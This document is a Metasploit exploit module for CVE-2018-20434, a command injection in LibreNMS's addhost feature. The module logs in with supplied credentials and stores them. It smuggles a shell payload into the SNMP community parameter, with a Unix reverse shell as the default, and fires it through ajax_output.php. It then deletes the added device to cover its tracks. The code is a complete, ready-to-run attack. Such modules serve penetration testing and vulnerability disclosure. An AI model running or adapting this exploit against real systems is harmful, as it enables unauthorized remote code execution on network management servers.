LibreNMS addhost Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'LibreNMS addhost Command Injection',  
'Description' => %q(  
This module exploits a command injection vulnerability in the open source  
network management software known as LibreNMS. The community parameter used  
in a POST request to the addhost functionality is unsanitized. This parameter  
is later used as part of a shell command that gets passed to the popen function  
in capture.inc.php, which can result in execution of arbitrary code.  
  
This module requires authentication to LibreNMS first.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mhaskar', # Vulnerability discovery and PoC  
'Shelby Pace' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2018-20434' ],  
[ 'URL', 'https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/' ],  
[ 'URL', 'https://gist.github.com/mhaskar/516df57aafd8c6e3a1d70765075d372d' ]  
],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'Linux',  
{  
'Platform' => 'unix',  
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' }  
}  
]  
],  
'DisclosureDate' => '2018-12-16',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),  
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),  
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])  
])  
end  
  
def login  
login_uri = normalize_uri(target_uri.path, 'login')  
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)  
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200  
  
cookies = res.get_cookies  
  
login_res = send_request_cgi(  
'method' => 'POST',  
'uri' => login_uri,  
'cookie' => cookies,  
'vars_post' =>  
{  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
)  
  
fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302  
  
cookies = login_res.get_cookies  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'cookie' => cookies)  
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')  
  
print_status('Successfully logged into LibreNMS. Storing credentials...')  
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])  
login_res.get_cookies  
end  
  
def add_device(cookies)  
add_uri = normalize_uri(target_uri.path, 'addhost')  
@hostname = Rex::Text.rand_text_alpha(6...12)  
comm_payload = "'; #{payload.encoded}#'"  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => add_uri,  
'cookie' => cookies,  
'vars_post' =>  
{  
'snmp' => 'on',  
'force_add' => 'on',  
'snmpver' => 'v2c',  
'hostname' => @hostname,  
'community' => comm_payload,  
'authalgo' => 'MD5',  
'cryptoalgo' => 'AES',  
'transport' => 'udp',  
'port_assoc_mode' => 'ifIndex'  
}  
)  
  
fail_with(Failure::NotFound, 'Failed to add device') unless res && res.body.include?('Device added')  
print_good("Successfully added device with hostname #{@hostname}")  
  
host_id = res.get_html_document.search('div[@class="alert alert-success"]/a[@href]').text  
fail_with(Failure::NotFound, "Couldn't retrieve the id for the device") if host_id.empty?  
host_id = host_id.match(/(\d+)/).nil? ? nil : host_id.match(/(\d+)/)  
  
fail_with(Failure::NotFound, 'Failed to retrieve a valid device id') if host_id.nil?  
  
host_id  
end  
  
def del_device(id, cookies)  
del_uri = normalize_uri(target_uri.path, 'delhost')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => del_uri,  
'cookie' => cookies,  
'vars_post' =>  
{  
'id' => id,  
'confirm' => 1  
}  
)  
  
print_status('Unsure if device was deleted. No response received') unless res  
  
if res.body.include?("Removed device #{@hostname.downcase}")  
print_good("Successfully deleted device with hostname #{@hostname} and id ##{id}")  
else  
print_status('Failed to delete device. Manual deletion may be needed')  
end  
end  
  
def exploit  
exp_uri = normalize_uri(target_uri.path, 'ajax_output.php')  
cookies = login  
  
host_id = add_device(cookies)  
send_request_cgi(  
'method' => 'GET',  
'uri' => exp_uri,  
'cookie' => cookies,  
'vars_get' =>  
{  
'id' => 'capture',  
'format' => 'text',  
'type' => 'snmpwalk',  
'hostname' => @hostname  
}  
)  
  
del_device(host_id, cookies)  
end  
end  
`